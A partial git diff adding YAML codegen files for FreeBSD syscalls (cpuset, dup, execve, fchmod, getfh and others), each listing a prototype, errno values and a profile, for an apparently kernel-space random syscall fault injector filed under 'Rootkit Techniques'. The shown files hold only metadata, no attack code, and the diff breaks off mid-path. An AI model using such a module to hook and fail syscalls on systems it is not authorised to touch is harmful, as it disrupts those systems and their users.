Randomized Faulter/src/module/codegen/freebsd/cpuset_getid.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct cpuset_getid_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - EPERM + - ENFILE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setaffinity.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setaffinity.yml new file mode 100644 index 0000000..d5ef0d4 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setaffinity.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct cpuset_setaffinity_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - ERANGE + - EPERM + - ECAPMODE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setdomain.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setdomain.yml new file mode 100644 index 0000000..fea31de --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setdomain.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct cpuset_setdomain_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - ERANGE + - EPERM + - ECAPMODE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setid.yml new file mode 100644 index 0000000..dd47ebb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setid.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct cpuset_setid_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - EPERM + - ENFILE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup.yml new file mode 100644 index 0000000..493d282 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct dup_args *uap +parms: td, uap +errors: + - EBADF + - EMFILE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup2.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup2.yml new file mode 100644 index 0000000..88f5830 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup2.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct dup2_args *uap +parms: td, uap +errors: + - EBADF diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/eaccess.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/eaccess.yml new file mode 100644 index 0000000..1c4f212 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/eaccess.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct eaccess_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EROFS + - ETXTBSY + - EACCES + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/execve.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/execve.yml new file mode 100644 index 0000000..7607482 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/execve.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct execve_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOEXEC + - ENOENT + - ELOOP + - EACCES + - ENOEXEC + - ETXTBSY + - ENOMEM + - E2BIG + - EFAULT + - EIO +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/faccessat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/faccessat.yml new file mode 100644 index 0000000..60d44d2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/faccessat.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct faccessat_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EROFS + - ETXTBSY + - EACCES + - EFAULT + - EIO + - EBADF + - EINVAL + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchdir.yml new file mode 100644 index 0000000..a51e351 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchdir.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct fchdir_args *uap +parms: td, uap +errors: + - EACCES + - ENOTDIR + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchflags.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchflags.yml new file mode 100644 index 0000000..324cdd3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchflags.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct fchflags_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - EPERM + - EROFS + - EIO + - EOPNOTSUPP +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmod.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmod.yml new file mode 100644 index 0000000..500d283 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmod.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct fchmod_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - EROFS + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmodat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmodat.yml new file mode 100644 index 0000000..c9ced34 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmodat.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct fchmodat_args *uap +parms: td, uap +errors: + - EBADF + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EINVAL + - ENOTDIR + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO + - EFTYPE +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchown.yml new file mode 100644 index 0000000..24e7a66 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchown.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct fchown_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - EPERM + - EROFS + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchownat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchownat.yml new file mode 100644 index 0000000..4126869 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchownat.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct fchownat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - EBADF + - ENOTDIR + - EINVAL + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fcntl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fcntl.yml new file mode 100644 index 0000000..b01f5ad --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fcntl.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct fcntl_args *uap +parms: td, uap +errors: + - EAGAIN + - EBADF + - EDEADLK + - EINTR + - EINVAL + - EMFILE + - ENOTTY + - ENOLCK + - EOPNOTSUPP + - EOVERFLOW + - EPERM + - ESRCH +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fdatasync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fdatasync.yml new file mode 100644 index 0000000..97181f0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fdatasync.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct fdatasync_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fexecve.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fexecve.yml new file mode 100644 index 0000000..206115c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fexecve.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct fexecve_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOEXEC + - ENOENT + - ELOOP + - EACCES + - ENOEXEC + - ETXTBSY + - ENOMEM + - E2BIG + - EFAULT + - EIO + - EBADF +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getcounter.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getcounter.yml new file mode 100644 index 0000000..af09f3c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getcounter.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct ffclock_getcounter_args *uap +parms: td, uap +errors: + - EFAULT + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getestimate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getestimate.yml new file mode 100644 index 0000000..9136d23 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getestimate.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct ffclock_getestimate_args *uap +parms: td, uap +errors: + - EFAULT + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_setestimate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_setestimate.yml new file mode 100644 index 0000000..3e67ce7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_setestimate.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct ffclock_setestimate_args *uap +parms: td, uap +errors: + - EFAULT + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhopen.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhopen.yml new file mode 100644 index 0000000..602f326 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhopen.yml @@ -0,0 +1,32 @@ +proto: struct thread *td, struct fhopen_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - EISDIR + - EROFS + - ENFILE + - EMLINK + - ENXIO + - EINTR + - EOPNOTSUPP + - EWOULDBLOCK + - ENOSPC + - EDQUOT + - EIO + - ETXTBSY + - EFAULT + - EEXIST + - EBADF + - ENOTDIR + - ECAPMODE + - ENOTCAPABLE + - EINVAL + - ESTALE + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstat.yml new file mode 100644 index 0000000..10a0cb0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstat.yml @@ -0,0 +1,32 @@ +proto: struct thread *td, struct fhstat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - EISDIR + - EROFS + - ENFILE + - EMLINK + - ENXIO + - EINTR + - EOPNOTSUPP + - EWOULDBLOCK + - ENOSPC + - EDQUOT + - EIO + - ETXTBSY + - EFAULT + - EEXIST + - EBADF + - ENOTDIR + - ECAPMODE + - ENOTCAPABLE + - EINVAL + - ESTALE + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstatfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstatfs.yml new file mode 100644 index 0000000..0f648f6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstatfs.yml @@ -0,0 +1,32 @@ +proto: struct thread *td, struct fhstatfs_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - EISDIR + - EROFS + - ENFILE + - EMLINK + - ENXIO + - EINTR + - EOPNOTSUPP + - EWOULDBLOCK + - ENOSPC + - EDQUOT + - EIO + - ETXTBSY + - EFAULT + - EEXIST + - EBADF + - ENOTDIR + - ECAPMODE + - ENOTCAPABLE + - EINVAL + - ESTALE + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/flock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/flock.yml new file mode 100644 index 0000000..06c8795 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/flock.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct flock_args *uap +parms: td, uap +errors: + - EWOULDBLOCK + - EBADF + - EINVAL + - EOPNOTSUPP + - ENOLCK +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fork.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fork.yml new file mode 100644 index 0000000..8dc7c8b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fork.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct fork_args *uap +parms: td, uap +errors: + - EAGAIN + - ENOMEM +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fpathconf.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fpathconf.yml new file mode 100644 index 0000000..eb5b833 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fpathconf.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct fpathconf_args *uap +parms: td, uap +errors: + - EINVAL + - EBADF + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstat.yml new file mode 100644 index 0000000..a9ea429 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstat.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct fstat_args *uap +parms: td, uap +errors: + - EBADF + - EFAULT + - EIO + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatat.yml new file mode 100644 index 0000000..91d0a07 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatat.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct fstatat_args *uap +parms: td, uap +errors: + - EACCES + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR + - EOVERFLOW + - EBADF + - EINVAL +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatfs.yml new file mode 100644 index 0000000..80311ff --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatfs.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct fstatfs_args *uap +parms: td, uap +errors: + - EBADF + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fsync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fsync.yml new file mode 100644 index 0000000..8e138bc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fsync.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct fsync_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ftruncate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ftruncate.yml new file mode 100644 index 0000000..fddde4d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ftruncate.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct ftruncate_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimens.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimens.yml new file mode 100644 index 0000000..26c2a6a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimens.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct futimens_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EIO + - EPERM + - EACCES + - EPERM + - EROFS + - EBADF +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimes.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimes.yml new file mode 100644 index 0000000..f46520c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimes.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct futimes_args *uap +parms: td, uap +errors: + - EACCES + - EFAULT + - EINVAL + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR + - EPERM + - EPERM + - EROFS + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimesat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimesat.yml new file mode 100644 index 0000000..410f824 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimesat.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct futimesat_args *uap +parms: td, uap +errors: + - EACCES + - EFAULT + - EINVAL + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR + - EPERM + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getaudit.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getaudit.yml new file mode 100644 index 0000000..b0d845f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getaudit.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct getaudit_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - EOVERFLOW + - E2BIG +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getauid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getauid.yml new file mode 100644 index 0000000..208cc6b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getauid.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getauid_args *uap +parms: td, uap +errors: + - EFAULT + - EPERM +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getdirentries.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getdirentries.yml new file mode 100644 index 0000000..00ff9d3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getdirentries.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct getdirentries_args *uap +parms: td, uap +errors: + - EBADF + - EFAULT + - EINVAL + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfh.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfh.yml new file mode 100644 index 0000000..1712274 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfh.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct getfh_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfsstat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfsstat.yml new file mode 100644 index 0000000..0f13154 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfsstat.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct getfsstat_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getgroups.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getgroups.yml new file mode 100644 index 0000000..543082c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getgroups.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getgroups_args *uap +parms: td, uap +errors: + - EINVAL + - EFAULT +profiles: + - user diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getitimer.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getitimer.yml new file mode 100644 index 0000000..5cd8df2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getitimer.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getitimer_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getlogin.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getlogin.yml new file mode 100644 index 0000000..cd99e6e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getlogin.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getlogin_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ERANGE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getloginclass.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getloginclass.yml new file mode 100644 index 0000000..708186d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getloginclass.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getloginclass_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ENAMETOOLONG diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpeername.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpeername.yml new file mode 100644 index 0000000..ccd5bf5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpeername.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct getpeername_args *uap +parms: td, uap +errors: + - EBADF + - ECONNRESET + - EINVAL + - ENOTSOCK + - ENOTCONN + - ENOBUFS + - EFAULT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpgid.yml new file mode 100644 index 0000000..d4e2b6c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpgid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct getpgid_args *uap +parms: td, uap +errors: + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpriority.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpriority.yml new file mode 100644 index 0000000..b899716 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpriority.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getpriority_args *uap +parms: td, uap +errors: + - ESRCH + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrandom.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrandom.yml new file mode 100644 index 0000000..7867ba1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrandom.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct getrandom_args *uap +parms: td, uap +errors: + - EAGAIN + - EFAULT + - EINTR + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresgid.yml new file mode 100644 index 0000000..68d5655 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresgid.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct getresgid_args *uap +parms: td, uap +errors: + - EPERM + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresuid.yml new file mode 100644 index 0000000..00034f0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresuid.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct getresuid_args *uap +parms: td, uap +errors: + - EPERM + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrusage.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrusage.yml new file mode 100644 index 0000000..e317ce8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrusage.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct getrusage_args *uap +parms: td, uap +errors: + - EINVAL + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsid.yml new file mode 100644 index 0000000..3e1761d --- /dev/null +++ b/Linux/Rootkit 